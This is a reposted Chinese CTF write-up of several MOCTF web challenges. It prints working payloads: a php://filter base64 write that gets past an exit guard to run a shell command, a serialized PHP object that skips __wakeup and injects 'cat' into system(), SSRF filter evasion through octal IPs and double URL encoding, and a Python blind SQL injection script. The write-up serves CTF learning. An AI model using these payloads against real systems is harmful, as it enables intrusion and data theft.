MOCTF

花了几个小时做了一下moctf,整理了几个当时没做出来的题

  • unset
 <?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
        exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
        exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
        include($_GET['file']);
}
}

?>

代码中涉及了几个函数。

 

1.waf

function waf($a){
foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
        exit('are you a hacker');
}
}
}

这个函数中对于$a的限制即$a中不能出现"flag",

 

2.

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}

foreach:用来遍历数组。

foreach (array_expression as $value)
foreach (array_expression as $key => $value)

这一段是核心的部分,遍历数组,存放在临时变量$__R中,$$__R也就是$__R的值,$__R作为变量名。

将$$__R存放在$__v变量中。$__k也就是_GET[flag],而$$__k就是_GET[flag]的值

即POST传过去的内容为_GET,这样我们就可以达到if(isset($$__k) && $$__k == $__v) unset($$__k); 这里$$__K就是get参数的值,而$__V是POST传入数组里的键值的值。

3.

if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
        exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
        include($_GET['file']);
}
}

最后一段代码中,利用到了md5碰撞,其中传入的三个参数flag,daiker,file都需要绕过waf。

因此最终的payload:

 

FLAG:moctf{e2181b5o14a67159cc23oc8feod6c5b6}

 

  • 死亡退出
<?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))                    
  {                                       
    file_put_contents('tmp.php', ''); 
  }                                 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

涉及的第一个问题如何绕过执行exit语句,上网看了一下wp之后发现用下面一种方式即可绕过。

使用base64的解码方法时,base64的解码方法时以4个字节为一组,且会过滤一系列的特殊字符,<?php exit; ?>会被修正为phpexit这七个字符,我们只需要在写入变量c时在开头随便补充一位,在进行base64加密和解密时phpexit便会失效。<?php system('cat flag.php');?>    base64加密后为:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

在开头再添加一位字符bPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

payload:c=bPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php

查看元素:

  • PUBG

查看源码后发现有bak文件。

打开bak文件。  

<?php
    error_reporting(0);
    include 'class.php';
    if(is_array($_GET)&&count($_GET)>0)
    {
        if(isset($_GET["LandIn"]))
        {
            $pos=$_GET["LandIn"];
        }
        if($pos==="airport")
        {
            die("<center>机场大仙太多,你被打死了~</center>");
        }
        elseif($pos==="school")
        {
            echo('</br><center><a href="/index.html"  style="color:white">叫我校霸~~</a></center>');
            $pubg=$_GET['pubg'];
            $p = unserialize($pubg);
            // $p->Get_air_drops($p->weapon,$p->bag);
        }
        elseif($pos==="AFK")
        {
            die("<center>由于你长时间没动,掉到海里淹死了~</center");
        }
        else
        {
            die("<center>You Lose</center>");
            
        }
    }
?>

传入的参数赋值给pos,接着序列化一个pubg变量,开头还有一个class.php文件,打开class.php.bak。                                      

<?php
    include 'waf.php';
    class sheldon{
        public $bag="nothing";
        public $weapon="M24";
        // public function __toString(){
        //     $this->str="You got the airdrop";
        //     return $this->str;
        // }
        public function __wakeup()
        {
            $this->bag="nothing";
            $this->weapon="kar98K";
        }
        public function Get_air_drops($b)
        {
                $this->$b();
        }
        public function __call($method,$parameters)
        {
            $file = explode(".",$method);
            echo $file[0];
            if(file_exists(".//class$file[0].php"))
            {
                system("php  .//class//$method.php");
            }
            else
            {
                system("php  .//class//win.php");
            }
            die();
        }
        public function nothing()
        {
            die("<center>You lose</center>");
        }
        public function __destruct()
        {
            waf($this->bag);
            if($this->weapon==='AWM')
            {
                $this->Get_air_drops($this->bag);
            }
            else
            {
                die('<center>The Air Drop is empty,you lose~</center>');
            }
        }
    }
?>

(1)这里定义了一个sheldon类,里面 有两个public成员  public $bag="nothing";  public $weapon="M24";。

(2)里面有五个成员函数。

①function __wakeup()

②function Get_air_drops($b)

③function __call($method,$parameters)

④function nothing()

⑤function __destruct()

之后我们开始分析,由于在index.php中我们知道要传入一个序列化后的对象,并且class.php中正好只有这个一个类。所以我们可以大胆猜测我们需要构造一个sheldon的对象。

而我们知道, __wakeup()函数在其所在对象反序列化的时候自动调用。所以如果我们构造sheldon对象并反序列后,我们的对象内部就会自动调用wakeup函数,

 $this->bag="nothing";
 $this->weapon="kar98K";


在析构函数中

public function __destruct()
{
  waf($this->bag);
  if($this->weapon==='AWM')
  {
   $this->Get_air_drops($this->bag);
  }
   else
  {
                die('<center>The Air Drop is empty,you lose~</center>');
  }
 
 

最后的析构函数可以看出我们需要传入的weapon值为AWM,然后会执行Get_air_drops函数,其参数为bag,此时我们我们知道Get_air_drops函数会以函数的方式执行bag。只要传入一个类中不存在的函数,其便会被call方法执行。

当对象内容执行结束后会调用析构函数,也就是说这个函数一定会被执行。

①对当前对象的bag成员执行waf函数(这个函数在waf.php中,但是我们目前无法得到waf.php中的内容)。

②然后if中条件满足的话,我们执行Get_air_drops函数,否则输出一行字。Get_air_drops()会执行我们传入的函数

跟进一下_call函数        

public function __call($method,$parameters)
        {
            $file = explode(".",$method);
            echo $file[0];
            if(file_exists(".//class$file[0].php"))
            {
                system("php  .//class//$method.php");
            }
            else
            {
                system("php  .//class//win.php");
            }
            die();
        }

之后是一个php的重载方法__call(),__call()方法用于监视错误的方法调用,该方法有两个参数,第一个参数会接受不存在的方法名,第二个参数则以数组的方式接受不存在方法的多个参数。也就是说只要我们可以传入一个类中不存在的方法,他便会被call方法所执行。

总结一下最后的思路:

①系统肯定要执行__destruct()函数,由此函数执行不存在的函数从而调用__call()。又因为我们的脚本中存在__wakeup()函数所以它会讲我们的weapon强制改成kar98K,导致我们无法调用Get_air_drops()函数。所以我们需要绕过它(下面讲一下)。

②成功绕过__wakeup()后,执行call函数,并满足第一个条件后运行“system("php  .//class//$method.php");”得到flag。

 现在需要写一个脚本来输出序列化的字符串

<?php
class sheldon{
        public $bag="//win.php| cat ./class/flag";
        public $weapon="AWM";
        // public function __toString(){
        //     $this->str="You got the airdrop";
        //     return $this->str;
        // }
        public function __wakeup()
        {
            $this->bag="nothing";
            $this->weapon="kar98K";
        }
        public function Get_air_drops($b)
        {
                $this->$b();
        }
        public function __call($method,$parameters)
        {
            $file = explode(".",$method);
            echo $file[0];
            if(file_exists(".//class$file[0].php"))
            {
                system("php  .//class//$method.php");
            }
            else
            {
                system("php  .//class//win.php");
            }
            die();
        }
        public function nothing()
        {
            die("<center>You lose</center>");
        }
        public function __destruct()
        {
            //waf($this->bag);
            if($this->weapon==='AWM')
            {
                $this->Get_air_drops($this->bag);
            }
            else
            {
                die('<center>The Air Drop is empty,you lose~</center>');
            }
        }
    }
$a = new sheldon();
print_r(serialize($a));
// var_dump((unserialize(serialize($a))));

?>

output:O:7:"sheldon":2:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";} (但是需要修改参数个数 2改为其他数)

最终的payload:120.78.57.208:6001?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}   

  • 网站检测器

=================================================================================

SSRF:SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制。其绕过方式为在真实地址后加上@+想要伪造访问的地址。

=====================================================================

此外,这道题还给了一处提示hint:docker -p 10001:80

我们需要访问的是本地的ip,但是题目过滤了dot和127,因此对于dot我们采取url编码的方式绕过,但此时的“.”为%2e,依旧会被识别,此时我们需要使用url二次编码来进行绕过。对于127.0.0.1我们则采取改变进制的方法进行绕过。最初的payload:http://www.moctf.com@127.0.0.1/flag.php

127.0.0.1化为八进制为017700000001

flag.php二次url编码后的结果为%25%36%36%25%36%43%25%36%31%25%36%37%25%32%45%25%37%30%25%36%38%25%37%30

 

  • 简单注入

审查元素发现

 

 因此1.尝试一下url?id=1

产生回显因此再去尝试一下1' or 1=1

尝试id=999 产生了一个空白页面。大概了解了一些回显的套路之后,开始测试一些被过滤的字符

可以看出空格在这里被过滤掉了。

2.接下来判断注入方式

在输入id=2,id=2-1,id=1的时候 发现2-1的页面回显和2相同因此注入方式为字符型注入

3.判断闭合
既然是str类型,就应该考虑闭合,当输入为id=1'页面显示空白。并没有显示waf,说明单引号没有被过滤,只是被转码为%27。
尝试使用注释符闭合
尝试id=1'# 注释掉后面的单引号完成闭合。
以下注释中有些被过滤了 有些没有,但是使用注释后页面无法正常显示,没有成功

//, -- , /**/, #, --+, -- -, ;%00

尝试id=1' and '1'='1 进行闭合
因为空格用()替换,'为%27,所以构造如下
id=1%27and(%271%27)=%271
运行后页面显示正常,验证成功

4.判断可用字符
利用相同方法带入发现union联合注入、or、<、>都不可用。
可以使用and、select查询字符。

5.带入id=1'and'1'='1成立
这里用数据库长度进行举例
id=1'and length(database()) ='1
构造后如下,经判断当前数据库名长度为5成立。
1'and(length(database()))='5

最终Python代码:

import string
import requests
chars = '!@$%^&*()_+=-|}{ :?><[];,./`~'
string = string.ascii_letters+string.digits+chars
rs = requests.session()
flag = ""
# 正确payload
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1))={1})^'1"
payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))={1})^'1"
 
 
for i in range(0, 500):
    # for j in string:
    for j in range(33, 127):
        url = payload.format(str(i), str(j))
        s = rs.get(url)
        # print url
        if 'Flag' in s.text:
            flag = flag + chr(j)
            print flag
 

 

转载于:https://www.cnblogs.com/sylover/p/10805006.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值